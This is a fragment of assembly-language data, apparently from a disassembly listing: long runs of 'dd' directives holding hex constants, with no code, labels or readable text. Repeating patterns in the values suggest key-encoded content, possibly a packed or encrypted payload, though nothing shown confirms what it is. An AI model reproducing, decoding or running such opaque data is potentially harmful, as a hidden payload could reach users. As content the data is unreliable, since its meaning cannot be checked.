		dd 66178B31h, 0AD893215h, 7ECB3D4Ch, 69223215h,	66112094h
		dd 6685DB15h, 8E2A3215h, 0E67D403Eh, 0DD4A58AFh, 361135DAh
		dd 664430ADh, 65D23315h, 4215B90Dh, 668CF694h, 8FBD3215h
		dd 662232DFh, 66113CFCh, 0A75C0915h, 6AD7C96Dh,	934846BEh
		dd 8F5708D7h, 66883205h, 0F6E606D9h, 0B4A3B28h,	3F47E211h
		dd 68773C27h, 67FD6347h, 0EF223215h, 94106BDFh,	6D2289Eh
		dd 9DBFB174h, 6733B61Ah, 69713215h, 0D9E8E9AAh,	50C16714h
		dd 66223EFCh, 864CB015h, 0F5FED4FAh, 0A448CE0Ch, 0E4353BEh
		dd 66113E93h, 0E7AC069Ch, 0B5A1611h, 0E779285Fh, 2C7C2CFEh
		dd 0DFD9C70Fh, 66443214h, 4A63F394h, 971067ECh,	4AC9DB94h
		dd 7F4767ECh, 6630DB4Ch, 983C3215h, 43132736h, 94A6E3CCh
		dd 30DFD8AAh, 0CE2797F9h, 668D8F40h, 8D453215h,	0E7061E9Eh
		dd 661136D1h, 6687DB15h, 0AE193215h, 0B0DC24D1h, 72DBF26Bh
		dd 0D8302FD8h, 9ADC73Ch, 9FDDCDEBh, 674F841Ah, 668821FCh
		dd 0A53CCB15h, 6000317Ch, 0B601BAEFh, 1A1F5D7h,	0C8AE7428h
		dd 690CD996h, 99EF7B91h, 6699DBEAh, 0FF323215h,	874D5AFEh
		dd 0DA3FBE23h, 64CA8965h, 8F8CB309h, 66223256h,	729A3DECh
		dd 6883215h, 664438FCh,	6C90F515h, 7755512Dh, 0E695EE79h
		dd 0E625F5DFh, 69DC336Bh, 99EF3B90h, 668FDBEAh,	31B33215h
		dd 0BF621725h, 6A9E3D33h, 69883215h, 66443495h,	66AF3D15h
		dd 8F113215h, 9977CE70h, 6649DB75h, 95213215h, 29227C8Ch
		dd 2B1FF9A4h, 8ED1A348h, 66223207h, 18CE6091h, 8350FC3Ah
		dd 0A5564AE7h, 1558529Eh, 0B691B685h, 0EE96DDFh, 664442ECh
		dd 9E06069Ch, 0EF15DE96h, 0E5871619h, 6644321Ah, 662238FCh
		dd 0A3172515h, 97EF8FD1h, 0EC509E1h, 66223A20h,	6352E9Ch
		dd 749B973h, 63A4BB45h,	66223211h, 0E115DA96h, 0EFD41611h
		dd 0E84B1629h, 6622321Ah, 661138FCh, 29971D15h,	9EDFB0F8h
		dd 579CEE62h, 8FBDCBD5h, 66883201h, 8B2A2568h, 21C31C7Eh
		dd 0D2B801C5h, 0C089466Dh, 2A683B0Ch, 0EEE4BA47h, 4205B9E6h
		dd 668CF694h, 37B83215h, 97A2C0A4h, 0D1D0B21Bh,	90D7DB95h
		dd 0E18DB2CCh, 567D8447h, 0AD3168E4h, 6699DB4Ch, 85B53215h
		dd 0FDDC67E8h, 0F5A52861h, 1FE46E42h, 0E673CD58h, 0E22D42EEh
		dd 661137D7h, 50FF8A75h, 5A2525D0h, 0DEA63D1Ah,	69113215h
		dd 6688209Eh, 6649DB15h, 8E463215h, 0B5E3BCA4h,	14EE7358h
		dd 5A133159h, 91A63DFCh, 6911321Fh, 66883896h, 6641DB15h
		dd 4C763215h, 5A5FB0EBh, 4A0C3DFEh, 9E44321Ah, 0E22DD129h
		dd 6611317Fh, 696A0EE0h, 66544991h, 5AA9CE15h, 80986431h
		dd 668CF494h, 0A0C73215h, 4216B511h, 661BDB49h,	42B03215h
		dd 7E2C1C55h, 8B3698B0h, 34352E9Eh, 0A409D09Ch,	66443211h
		dd 6626F094h, 72963215h, 0EC876E31h, 66443214h,	4216CDE0h
		dd 62D5B34Ch, 69883215h, 66443398h, 52A9CA15h, 80986431h
		dd 668CF494h, 0A0C53215h, 66223211h, 3A350692h,	0A5E9CA75h
		dd 0A125CE75h, 57955890h, 66113413h, 67013D15h,	9A443215h
		dd 667EAA7Dh, 4215BB15h, 668832ADh, 0ECB43315h,	0E02D6A0Dh
		dd 66113218h, 66023D75h, 0DD443215h, 6667FC0Bh,	3F795474h
		dd 6A015433h, 46B48731h, 937B54FEh, 6991C995h, 99777790h
		dd 664ADBEAh, 92D03215h, 69553337h, 0E7A70535h,	2530100Ch
		dd 618F8A45h, 0A75972AFh, 998D34F5h, 67954C01h,	0EDDB6AD3h
		dd 4C3C1390h, 668FDB13h, 85933215h, 4EFE9BDEh, 6614DBDAh
		dd 0EE8E3215h, 0ED9B8F39h, 4C37C780h, 0BD915213h, 0A63F3DC4h
		dd 7ACF6474h, 62E6B331h, 6113215h, 9F518D1Ah, 60FA6474h
		dd 67223215h, 4225B9E6h, 668CF694h, 60AD3215h, 0BD223215h
		dd 0ECB66A9Ch, 6264B33Fh, 0EF443215h, 64981601h, 67113215h
		dd 3C9231E7h, 0B5C55475h, 68CB88DDh, 14113215h,	61D9F450h
		dd 0FBCE52EEh, 0F03EDBC5h, 0E71E5321h, 66883219h, 664435FCh
		dd 0F0B3DE15h, 5F8A7B42h, 0E487EA2Eh, 6644323Eh, 662237FCh
		dd 0BE986915h, 0BCB3A343h, 9834B41Ah, 642CDEAh,	6611BF1Ah
		dd 8FE93215h, 6644321Fh, 4BFAB447h, 5C8E6F8Eh, 0E7E97AA4h
		dd 0F673B5D6h, 34D91B18h, 0F626B5AFh, 3C5B1B18h, 664CB61Ah
		dd 0E52D3215h, 66113217h, 8A095375h, 66443211h,	0DF063E9Ch
		dd 66113213h, 93D1F93Ch, 0B89F73h, 6631DBBEh, 0C4663215h
		dd 0E8290CD4h, 65247877h, 0DDF1129Eh, 202AD192h, 35D8CB5Dh
		dd 4258B94Dh, 6926F696h, 66112D96h, 75615215h, 7443215h
		dd 0C9BB4080h, 2856BB5h, 6C456991h, 2C783B9Ch, 0E7440C2Fh
		dd 7C6A9FCh, 668820FCh
		dd 0D8FC2F15h, 0B9E56A3Ch, 0A3657EC8h, 0E4C188Fh, 0CDE6844Bh
		dd 3D745275h, 6611BF1Ah, 8EE93215h, 66443204h, 0C452DF70h
		dd 23F849A1h, 0E8B41F1Eh, 58DE4342h, 662DDB51h,	7CFB3215h
		dd 0C8393A5Fh, 0CEA375ABh, 0DD7E6677h, 0E5706C8Bh, 5A0136F9h
		dd 66408D31h, 98233215h, 67943D4Ah, 93883215h, 8F600E9Ch
		dd 66223213h, 919A3A61h, 12016A73h, 0E64B3E31h,	66223214h
		dd 0BFA4BBE9h, 8F8E1802h, 6644321Fh, 0B275C9B9h, 8D006FD8h
		dd 5277C135h, 0A2C76D31h, 52DDCB11h, 0A2926931h, 74033D11h
		dd 8F443215h, 66223218h, 52601BACh, 0A29139E4h,	65D0AC84h
		dd 4216CDCAh, 62D5B34Ch, 8F883215h, 66443218h, 0B438D03Ch
		dd 0CD82BA66h, 0BD569B58h, 4270CD69h, 62E6B34Bh, 8F113215h
		dd 6688321Dh, 0BB71537Bh, 240C084Fh, 0E7F7BB43h, 668836D3h
		dd 6282B115h, 0ED060692h, 8FE41631h, 9977ECE8h,	6655DB75h
		dd 56183215h, 0EA08319Bh, 1DCE1E0Eh, 1C00C4B6h,	0E6162C5Ah
		dd 6970F7D8h, 66882794h, 0ADC55215h, 73E69DE1h,	66113AFCh
		dd 0C71F215h, 0C81E5B8Dh, 0E3E55344h, 6020857Fh, 66883217h
		dd 6643BF1Ah, 0E82D3215h, 66113214h, 520964EDh,	39366E31h
		dd 0DB77697Ah, 6D930A9Fh, 238DD7D4h, 428FD794h,	8BA33AE1h
		dd 0F6F5BFF0h, 69D5D924h, 66443694h, 9CA95215h,	661CDB74h
		dd 74A33215h, 0ECFB6031h, 0B507A747h, 69168B3Bh, 6A613CA3h
		dd 0E4443215h, 7BA577A8h, 6BB7CFEFh, 0E6D810C8h, 0E54BB2ECh
		dd 66223292h, 661EBF1Ah, 6C613215h, 7443215h, 95D05CD7h
		dd 74B89BEBh, 8763B3BFh, 676A177Ah, 879C64DEh, 673F177Ah
		dd 0EE876CE6h, 66443203h, 662223FCh, 0B3359915h, 669AFDB5h
		dd 3BF61271h, 14A3D445h, 75F8B5F8h, 4F883215h, 7520F35Dh
		dd 4275A4h, 0A2516876h,	0E42B15DBh, 0DF157F54h,	75133A73h
		dd 9188C394h, 0ADA1DEDBh, 6657DB4Ch, 2D903215h,	54E6455Ch
		dd 85C1BD39h, 0A649E900h, 5F6D1916h, 6660DB10h,	0E5743215h
		dd 72CD36F9h, 0E6928431h, 8891C5D3h, 0BE7EB21Ah, 4EFBC495h
		dd 0ED768E4h, 66113215h, 0EDAC3E3Ch, 0A2C51619h, 66223211h
		dd 0BC9A5475h, 772B973h, 6645B71Ah, 0EDA3215h, 66114E84h
		dd 0DCAC269Ch, 664432EAh, 6978E334h, 6611359Ch,	67093D15h
		dd 9A443215h, 689E8B44h, 0AD101236h, 0E7431B4Ch, 454A8EFEh
		dd 96A35235h, 3488BF06h, 0EDE9E59Fh, 4C691390h,	0A9A25213h
		dd 0ED70CB5Bh, 4C9DC780h, 6DAC5213h, 40223215h,	845621A7h
		dd 0C899644Dh, 76AD00CBh, 0D4223215h, 2CCF563h,	5C4DE63Ah
		dd 0E29FF41Ah, 3D498F75h, 6614BC1Ah, 0DB313215h, 71F0549h
		dd 76078F96h, 6910343Fh, 668C2291h, 664EDB15h, 0B23215h
		dd 0AED68906h, 0C538D1DBh, 0E44BF12Ch, 662231ECh, 66113BFCh
		dd 5A1A7815h, 15A6EA10h, 0B51BF40Dh, 9CA9B01Ah,	6971CDEAh
		dd 6644389Eh, 6627DB15h, 3DA93215h, 8FAF0B04h, 664431D8h
		dd 0CBF6B275h, 86DAB373h, 0E34F5305h, 6075857Fh, 66223217h
		dd 7A9A64ECh, 624CB131h, 664BDA75h, 1CAF3215h, 2439CB0Bh
		dd 635D61F4h, 0C8524652h, 662BDA00h, 0D2163215h, 853965DBh
		dd 3EB7D828h, 4CAD8A4Bh, 8F706407h, 6688321Ch, 0CC53AB9Fh
		dd 0C8DF003Bh, 68A73D67h, 0E671B2ECh, 6611B11Ah, 0E32D3215h
		dd 6611321Dh, 668ABD1Ah, 7243215h, 0F2DD994h, 8D900E49h
		dd 56EE724Eh, 0A5C5F914h, 5644724Eh, 0F1EF194h,	0ED870E49h
		dd 6644321Fh, 66AF3D75h, 0EC113215h, 0D8DE53D3h, 99BBCDEAh
		dd 8F7CC13Ch, 6611321Ch, 0B18EBB64h, 0B5CD56D2h, 665EDBE7h
		dd 0E7E43215h, 668836F9h, 4250BB15h, 970ACDA3h,	0F758CE4Fh
		dd 8F19E2E2h, 66443206h, 48BCF9A7h, 4CF7298Bh, 8845C50Dh
		dd 586E26CCh, 0EC93A41h, 66115E6Bh, 0D9AC0E9Ch,	4B371D05h
		dd 3226DD94h, 0A19015BEh, 0C030824h, 727ADD94h,	9F034246h
		dd 6614DB4Ah, 0E6043215h, 377CE574h, 3135BEACh,	0A7C8C530h
		dd 870935FCh, 2C156FBAh, 4120DB94h, 0AD10EF06h,	0E7431B4Ch
		dd 986E4CFEh, 0E3A9C737h, 603B1F34h, 931DB9EDh,	8F421800h
		dd 66223213h, 0C6630080h, 0DB0BA297h, 606E2230h, 10A63D14h
		dd 8F113217h, 66883212h, 944FE600h, 5DE6783Bh, 45933DCDh
		dd 93883215h, 0E04BE12Ch, 99DDCB3Bh, 0D9776475h, 69D213CAh
		dd 66443E99h, 6625DB15h, 5F233215h, 0FEB13A57h,	0DB1153DBh
		dd 99DDCDEAh, 9E4CDC14h, 98CE8146h, 0E687CCD6h,	0E4452FEh
		dd 7A393215h, 4294B831h, 0E646F696h, 0BEAA25E6h, 71524Eh
		dd 0E792F4AFh, 0E4469FF3h, 0DF445375h, 0CC70248Eh, 0DED8CAECh
		dd 66443215h, 0DD71C214h, 66113215h, 6D02F114h,	34B16A4Eh
		dd 0B4D4C4A7h, 0B4E7F8EBh, 9880D8D5h, 0EDB6B2DFh, 0B60AC6A5h
		dd 0D443C74Fh, 416AB24Bh, 980BF895h, 98E8CCDFh,	25E3B2DFh
		dd 7203E335h, 6280B331h, 9E223215h, 0CCE4FA1Dh,	0EC876075h
		dd 66443215h, 8F43CE4Dh, 66113201h, 2739972Ch, 702770F7h
		dd 48108B86h, 3894C99Fh, 0E90B379Ch, 45E4D994h,	9D0B2A55h
		dd 45B18847h, 0B5892A55h, 60AD524Fh, 79223215h,	16445584h
		dd 6685DA2Fh, 75E03215h, 0E0281AE4h, 4C450255h,	8FC6B0EBh
		dd 66443205h, 0C1A682BBh, 0C65B9063h, 3E67803Fh, 8AEBE708h
		dd 0DB77534Eh, 66113211h, 4A03D93Ch, 6280B331h,	8F223215h
		dd 6611321Eh, 84269F5Eh, 8919196Ch, 57F82C28h, 57D203CDh
		dd 616152CDh, 37443215h, 5F86BC9Eh, 6EA077A9h, 6B619974h
		dd 61443215h, 0A332B1EDh, 0BF0BC17Bh, 13805C8Dh, 66468847h
		dd 0B0233215h, 0E735269Eh, 668836D1h, 0D3CDCB15h, 600825CCh
		dd 65943D75h, 69883215h, 0A125E3AAh, 4C321790h,	66113313h
		dd 0B3E0CB15h, 0EF44320Dh, 80AB1621h, 6615F494h, 0A00B3215h
		dd 4270B511h, 6627DB49h, 0E10F3215h, 0ED1EC879h, 0EF161609h
		dd 62E0B3F7h, 0E7113215h, 668836D7h, 4250B515h,	735249h
		dd 3CB8B0ACh, 0EDE9AAA0h, 0EF141619h, 662637F5h, 0A6923215h
		dd 428CB511h, 67C93D49h, 9A223215h, 0E74C6640h,	668836D0h
		dd 6281B115h, 3A061E92h, 661FB81Ah, 6F613215h, 95443215h
		dd 4DF8957Dh, 0DE3BB411h, 0E76BBB46h, 664436D6h, 629B6315h
		dd 67113215h, 7A0F6BDEh, 0EA4B6E31h, 6622323Fh,	661CDA75h
		dd 39853215h, 656A8FA0h, 5F52986Ch, 3CEB72E5h, 668822FCh
		dd 947FDD15h, 0EC97A8EBh, 0C984CEC5h, 0E5DEC839h, 60AD53C3h
		dd 6DDCDCCh, 0ECC9B373h, 0A70354E1h, 99F96774h,	67DDCDEAh
		dd 60F86FFBh, 0AB883215h, 0A3E9B2FDh, 0C791616Ch, 0E627F995h
		dd 9508BDDEh, 97AFB270h, 7AA9EA9Dh, 62D5B131h, 668839FCh
		dd 203A5615h, 0A20928C0h, 2B3D8ADEh, 669ADBBFh,	79D33215h
		dd 83E399B2h, 1E367F84h, 0E263E764h, 47697E5h, 31D5BB42h
		dd 6AF86D4Dh, 0A5883215h, 0C3186C1Bh, 0EADCBEF3h, 6377CDE3h
		dd 0F633243h, 0DD17CA3Ch, 36385A21h, 2519D1D4h,	52DFC194h
		dd 0BE6D4196h, 662BDB4Eh, 0F86D3215h, 9C63718Ch, 679BEAEh
		dd 0EC578B73h, 0CE6C8A73h, 83326074h, 0A71FB004h, 8CA337F7h
		dd 55AB481Dh, 0E76AE357h, 71625CDFh, 1CC8B305h,	4F682DB2h
		dd 0E68768C5h, 66443219h, 6624BB1Ah, 0E71E3215h, 66883215h
		dd 0EF13CBBEh, 62E5B3F2h, 0E5113215h, 5A0F36D2h, 4260B931h
		dd 66A93D75h, 7113215h,	31AC2E9Eh, 0A1C5D59Ch, 66223211h
		dd 6615F594h, 5A0F3215h
		dd 0EDB16E31h, 0EF711619h, 62D2B3F6h, 0E5883215h, 7AC336D6h
		dd 0EB2D6E31h, 66113206h, 6685BD1Ah, 6EAD3215h,	1D223215h
		dd 7676D41Bh, 0ED47A4CCh, 0EF121621h, 62E4B3F3h, 0E7113215h
		dd 668836D3h, 4270B515h, 6DAC3D49h, 8F113215h, 66883213h
		dd 0DF566CF9h, 964A8606h, 0EF113236h, 87011619h, 6640F394h
		dd 0A7A13215h, 421DB511h, 0E7875249h, 66443202h, 662220FCh
		dd 2A55C215h, 8678ABB8h, 0CC5D8B2Dh, 0AAD2C785h, 0DC3492DEh
		dd 1EFA2340h, 0BC92DB74h, 0E82DCDEAh, 66113213h, 0EDEECE75h
		dd 0E38353EEh, 6013857Fh, 66113210h, 600F3D75h,	0E7443215h
		dd 1D2DE0D6h, 0DC71532Eh, 698B4F92h, 8344F094h,	0E5437866h
		dd 529836F9h, 42A4B331h, 46900B70h, 3E1B34Eh, 8F31E62Ch
		dd 66883212h, 877F26EDh, 303549DFh, 661136ABh, 2C4BB315h
		dd 6739B805h, 2CC9B3E6h, 386CB805h, 0A5365475h,	0BCFB3D89h
		dd 66986074h, 67113215h, 663163E7h, 67443215h, 3F3B31C4h
		dd 619B3D4Fh, 69883215h, 66443395h, 0E3A9C715h,	603B1F34h
		dd 668838FCh, 2848FA15h, 610A569Dh, 0EDF7F74Dh,	4C9DC780h
		dd 6924CA13h, 3743CDA2h, 5905B9ACh, 0E759C537h,	0A6AF47FCh
		dd 3FEC33C8h, 6600BA1Ah, 6A613215h, 0E9443215h,	0BA7BAA6Fh
		dd 0D96C15ADh, 0E51A09DAh, 4C691FA8h, 0E22D3313h, 661134CFh
		dd 668839FCh, 0C8F83E15h, 5E9DE2F6h, 0E4F2B2EBh, 0E487EA2Eh
		dd 6644320Ah, 66223AFCh, 85674415h, 0D216834Dh,	699E0962h
		dd 66237C93h, 6614DB15h, 50C23215h, 0EF6AFAB2h,	4C35EBA0h
		dd 0FB9ACE13h, 60B9857Fh, 22C5CAE9h, 6BE33E31h,	3A10028Fh
		dd 0DDDB3E31h, 56DE3FD4h, 76066E3Ch, 661DDB4Eh,	462C3215h
		dd 90D757E7h, 0F67634E1h, 0EC1E716Ah, 66883206h, 6648DB75h
		dd 0E6D93215h, 668314D3h, 6C1F20F1h, 8F254F7Eh,	6622345Bh
		dd 4225CDECh, 624CB14Ah, 6654B31Ah, 6DCB3215h, 16113215h
		dd 90B1790h, 0FD361D87h, 72CB999Dh, 0EE113215h,	0FF20961Ah
		dd 8438FA70h, 0EC9E3AFAh, 0A8F67FC4h, 0A1B504F5h, 4C691F90h
		dd 66223313h, 8C9B5215h, 42BCCD74h, 6280B14Eh, 94A35475h
		dd 68F86A2Bh, 55883215h, 58EFFC95h, 48C385FEh, 0D46F0A2Ah
		dd 527753CEh, 0A2C56B31h, 66223211h, 609E3D75h,	69883215h
		dd 66443297h, 63A73D15h, 113215h, 8A3AC194h, 4270B974h
		dd 0E7C3BB44h, 661136D4h, 6249B115h, 3A603E92h,	6627DBE9h
		dd 2EF13215h, 3368244Bh, 0A3C56F41h, 66223211h,	0E115F796h
		dd 69D41639h, 66442894h, 69CA5215h, 26113215h, 7E6E1B61h
		dd 9AACFBD6h, 0BE14A7D8h, 69488868h, 8FE9F5AAh,	99BBE70Ch
		dd 66223CFCh, 0B7BBA215h, 0CFAF16F8h, 7901B7C5h, 0E5A56B10h
		dd 4C0117A8h, 0E2873313h, 66443747h, 6633DB75h,	47B93215h
		dd 81EA5F93h, 43B94148h, 8066209Eh, 8F1055D8h, 66883213h
		dd 28CCFA9h, 4D43CC7Dh,	4C3C1388h, 7E8C713h, 7675BF9Eh
		dd 30DB343Fh, 797FF1ABh, 0F67EB374h, 9103C44Eh,	4ECCB3CBh
		dd 0E7234A47h, 0F9B62FDBh, 7FAAB300h, 678BCF7Ah, 0BF106CE4h
		dd 690CDB94h, 33B13FB7h, 0A6A79A8h, 3BF81B05h, 0A709CB3Ch
		dd 76287A5Eh, 662CB41Ah, 6FF83215h, 47883215h, 9BD5471Fh
		dd 7D0CB71Eh, 66148946h, 0A7093215h, 7C72177Fh,	8FA3EB3Ch
		dd 7C27177Fh, 0D7D9CE4Eh, 72B263DDh, 0AFDC6B31h, 9016DBD5h
		dd 7079B2C4h, 8F1DFA9Dh, 66223204h, 164ED019h, 19FCCCD1h
		dd 1A811C52h, 15E621DCh, 0E21E98AFh, 66883200h,	664422FCh
		dd 2DF87515h, 3A8C6C24h, 51B6ED07h, 0FA3A48F8h,	57EA0379h
		dd 6D903D4h, 0E47FB373h, 6EAC64A6h, 18223215h, 7D616ECEh
		dd 3C208D55h, 8FEF534Ch, 6622321Ch, 0C2F3294Fh,	7A6B2888h
		dd 84CD6045h, 6626F094h, 0A4923215h, 429CB511h,	8F60169Eh
		dd 6622321Dh, 6DF97C39h, 0CDDDAA53h, 35602E9Eh,	0A5A3D19Ch
		dd 66113211h, 0E18CF196h, 69181609h, 66223393h,	6A9ACB15h
		dd 83016731h, 6640F794h, 0A3A33215h, 66113211h,	3AAC1E92h
		dd 4270CDE9h, 62E6B14Bh, 72F18D75h, 6B611A2Dh, 0EE443215h
		dd 0A63362EBh, 0E145B9F2h, 4CE6F8A7h, 0EF11C774h, 2C9961F0h
		dd 0E7381855h, 4CF1DD6h, 0B78FB375h, 9154F538h,	51F2B3C6h
		dd 0E79A9135h, 0B9BBCCD6h, 3DFF33EAh, 0E115F796h, 6D41639h
		dd 8F8EFA95h, 66223206h, 0DBD91ED0h, 0EF751D56h, 157E06Fh
		dd 0F6A26762h, 7FAF6DEh, 0B012DBE0h, 24CDEAh, 8F43E89Eh
		dd 66113206h, 0DDCBDBC4h, 4330DE02h, 321F0F89h,	67A1D54h
		dd 0A1907A0Fh, 57F35890h, 66223013h, 661EDB15h,	54A63215h
		dd 62369CE8h, 0EA4717BAh, 3C168892h, 4A096449h,	67569A31h
		dd 0DE726928h, 5B1020BDh, 9AD0F114h, 0ACC5CB75h, 337D1C56h
		dd 68A73D74h, 6689B91Ah, 0E6B83215h, 0E52DB2ECh, 6611325Fh
		dd 0A7373D75h, 6649DB74h, 60C3215h, 0DC2B3C92h,	14BD4669h
		dd 0E79F296Ch, 14265EFEh, 58FAB333h, 67D6F47Bh,	5887B3DEh
		dd 0E77CF47Bh, 14155ED6h, 67073D33h, 9A443215h,	99DD8D42h
		dd 9D38CDEAh, 77D524Ah,	6644A3FCh, 0E44CE15h, 0EF774096h
		dd 993F1609h, 3D22CB3Dh, 66223BFCh, 0DDD2215h, 328C531Ah
		dd 9115725Bh, 6AA91609h, 62D5B131h, 993062ECh, 47443215h
		dd 4226B9D4h, 6915F696h, 66883A96h, 64CC3D15h, 6223215h
		dd 6600DB74h, 0A4523215h, 2CA796Ch, 4F6B4B3h, 0FFE231DDh
		dd 0E7C7015Bh, 7E6C19FEh, 37E91B76h, 7D7C4CACh,	0CB49B313h
		dd 6718CEAFh, 0EC2D6BDEh, 66113212h, 1B4CB275h,	8F25FC9Fh
		dd 6622321Bh, 10F63720h, 0C561C3F7h, 0C598D8C9h, 0E3A9E274h
		dd 603B1F34h, 668821FCh, 8410BA15h, 47572882h, 1CA2CF5Ch
		dd 49850AD1h, 49CF72F2h, 73D7A79Eh, 6DF8343Fh, 9A883215h
		dd 909DB06h, 3A4FC229h,	9EF83F57h, 9E77CDEFh, 0D12EB7D2h
		dd 66203424h, 0EA1E3215h, 66883206h, 66443CFCh,	8C26415h
		dd 3E06F575h, 38315560h, 0E4A1A00h, 66222EB9h, 0E735069Ch
		dd 5D061621h, 0E71F177Fh, 0C19BCE6h, 61983D30h,	69883215h
		dd 66443394h, 0D02DCB15h, 75933D1Bh, 8F883215h,	6644321Bh
		dd 0BB1902D8h, 0EA476FA5h, 0E46CDDBh, 0E84B11ADh, 6622321Dh
		dd 66933D75h, 7883215h,	69C4CB95h, 66220D96h, 6619DB15h
		dd 79A93215h, 5F217254h, 8DA30606h, 5460198h, 277F194h
		dd 0AD457C7Bh, 2DDD994h, 0A5907C7Bh, 5DF0198h, 99F967EDh
		dd 4FDDCDEAh, 8FE96FFEh, 668832C4h, 0A7CD8875h,	7D72AFCh
		dd 99A66173h, 0EDEECB3Dh, 0A2C51609h, 66223217h, 74E8075h
		dd 6690B41Ah, 0E74B3215h, 66223207h, 66113FFCh,	2CCEAF15h
		dd 0AEF00BF9h, 84415C20h, 66795309h, 0E7883215h, 69E1639h
		dd 6A0B69FFh, 4215B331h, 3D6252CFh, 6641DB4Ch, 864C3215h
		dd 690A283h, 0E7538D1Ah, 828E4BD3h, 30725317h, 0D559ACABh
		dd 4046B333h, 0A7070165h, 80E331FBh, 88907417h,	5551894Bh
		dd 471AC29Ch, 0EB2D6AD4h, 66113217h, 0D8DE5375h, 0F1B0F45h
		dd 2026DCD4h, 295CD494h, 0B07F700Eh, 46E9F494h,	88A36526h
		dd 2BC2ACF6h, 4FD6C114h, 0E3AFB3DEh, 69257C2Bh,	66113A94h
		dd 64033D15h, 6443215h,	0DD445274h, 9490136Eh, 1F13D447h
		dd 47C1B974h, 9F241838h, 73E4A79Eh, 6B61343Fh, 69443215h
		dd 2BA88201h, 0F389B407h, 5355ECC6h, 76618F96h,	6923343Fh
		dd 99E63691h, 6E033DEAh
		dd 69443215h, 66223097h, 5D705215h, 5F0A3DCDh, 8F443215h
		dd 66223206h, 0A049C010h, 0C001E3DBh, 44B96C04h, 82E3FAA5h
		dd 5F465FD8h, 0C50E3DC6h, 69BBCDF8h, 66222195h,	661FDB15h
		dd 0BD683215h, 49FEEDFBh, 928AEBDFh, 0BE710B95h, 99778D42h
		dd 9845CDEAh, 0A24ACB4Ah, 0EF11326Bh, 69D11621h, 66443394h
		dd 0E7DECE15h, 1A44D4h,	31711B38h, 1E6771AAh, 0CCD5B375h
		dd 0E775C51Eh, 0B06ABFD2h, 39BD1B3Dh, 0E1B975h,	73C6DAEh
		dd 6688077Dh, 4258BB15h, 662237AEh, 3DC81B15h, 668823FCh
		dd 43645F15h, 0C132C7A5h, 241D4E27h, 0FE3D1248h, 0D715BD8Fh
		dd 14EBB232h, 8791F3EBh, 8749B29Ch, 0EE8BBA46h,	697B69EDh
		dd 6611299Ah, 69615215h, 0E6443215h, 29AF93BAh,	20FE727Eh
		dd 0C62C3561h, 0E7225711h, 71B12FAh, 0AC9052BFh, 86CF0D6h
		dd 578C0374h, 6EA03D4h,	0A79A65E9h, 9F23534Ch, 999655FCh
		dd 0E62D52EAh, 66113204h, 668839FDh, 2E4BEE15h,	0FE801E62h
		dd 6495DF24h, 0D9418D4Eh, 34252360h, 662232AFh,	35E33315h
		dd 668832AEh, 0EC973315h, 69786916h, 6611389Dh,	668DDB15h
		dd 4BCE3215h, 5A180550h, 43953DFDh, 6883215h, 854787AFh
		dd 0E92D523Ch, 66113215h, 0EE953E9h, 66443215h,	0E706369Eh
		dd 661136D1h, 0F061CA15h, 93443214h, 0E7C1BB46h, 661136D6h
		dd 6263B115h, 3A602E92h, 69062E9Ch, 66113E96h, 60073D15h
		dd 69443215h, 66223294h, 52906415h, 79A74531h, 0D9136922h
		dd 3E652B15h, 0A190EDE2h, 0B3674D6h, 62A9FD94h,	81E33163h
		dd 4BDEB316h, 0E7B3597Dh, 0BA0434FAh, 39D90391h, 67A962EDh
		dd 67883215h, 0ED5C31E5h, 0A2A11611h, 0E2AB5211h, 0DCC169F7h
		dd 52FF984Dh, 639B6374h, 0E7113215h, 0C9A31AD6h, 0E78F3307h
		dd 0C9091AFEh, 34E86B07h, 0A87683A3h, 90C4F4EBh, 67E4B20Ah
		dd 0EE28F495h, 0DCE868E5h, 1A22FEE7h, 0CC43F39Eh, 6610BD1Ah
		dd 367D3215h, 2E6017ADh, 60CAF34Ch, 0D1E90538h,	3E4B33A3h
		dd 8DC5C93Ch, 2C8F1A4Ch, 6604BC1Ah, 76613215h, 95443215h
		dd 0C09B6D34h, 0A6D70094h, 6AB9BB57h, 0E0247F4h, 66220021h
		dd 0DC35269Ch, 66883211h, 61EE13Ch, 66223EFCh, 2C1BA615h
		dd 0DAAB250Dh, 0ED763682h, 0C9D4B2A4h, 3E426274h, 0E5AC2E9Eh
		dd 932436D1h, 0D91C48AEh, 9EBA530Dh, 34AC2E9Eh,	0A4C5D09Ch
		dd 66223211h, 0E115F096h, 6D41601h, 77D661ADh, 7E9B828h
		dd 63A962E9h, 67883215h, 4240B9D3h, 6926F696h, 6611339Ah
		dd 0DDDBC715h, 7321873h, 2D61D1C4h, 690ED994h, 0A50931ABh
		dd 6E2512D5h, 407E8A45h, 0B6E64E42h, 638DDAD4h,	70315006h
		dd 53FAC555h, 44F30366h, 0EFD0F124h, 0E24B69CDh, 66223204h
		dd 66113EFCh, 0FCFE5D15h, 0CA035FA8h, 0BDDDB308h, 0ED71F1BAh
		dd 0B50354E7h, 86CD6274h, 66223610h, 66151F15h,	620F3215h
		dd 6ACD6E31h, 662FDB31h, 35DF3215h, 0F040CDEDh,	0BF9B11FDh
		dd 0C3287Eh, 0ED7704EAh, 0A20B1611h, 0A578C717h, 677DB61Ah
		dd 0E7713215h, 7A1004F4h, 79DB91Dh, 0E22DF929h,	66113358h
		dd 694A0EECh, 66454A91h, 0AC1EC715h, 677EB61Ah,	72613215h
		dd 0AA443215h, 4D59BCEDh, 23DB2192h, 21A438BBh,	0FC8D07A0h
		dd 9A0C33h, 6934CD28h, 6689BA91h, 8EFB5215h, 935A4F5Fh
		dd 482C5474h, 0CD0D3DEAh, 8F443215h, 66223210h,	9FB93610h
		dd 64336157h, 0E7443215h, 3476FD6h, 0E7E2334Fh,	3ED6FFEh
		dd 3D47B84Fh, 662238FCh, 964D6915h, 0A6A72258h,	3E1140h
		dd 19A07Dh, 0D3353E9Ch,	6012E5h, 6656DB4Ch, 0BED53215h
		dd 0A2536F11h, 532B62D5h, 0A3899EC2h, 0FA64F54Ch, 0E21E9229h
		dd 66883321h, 664421FCh, 7571C515h, 67977FA3h, 478DC5D5h
		dd 0D9DFA52Ch, 30CFA948h, 23EE8975h, 77607FF9h,	0FF443215h
		dd 24702B84h, 7E45FCE6h, 0FCE415E4h, 0D61E01FEh, 662220FDh
		dd 1C9A7F15h, 53874D79h, 6289378Eh, 8C5A28A5h, 3FB3D175h
		dd 5277534Dh, 0A2C56B31h, 66223211h, 6605DBEDh,	84073215h
		dd 1230CF85h, 0B2430D38h, 4FF64C72h, 0C94A9A52h, 0D9135286h
		dd 5D6D4C08h, 0B2FEB352h, 37C3DB09h, 5557F4ACh,	3FED1301h
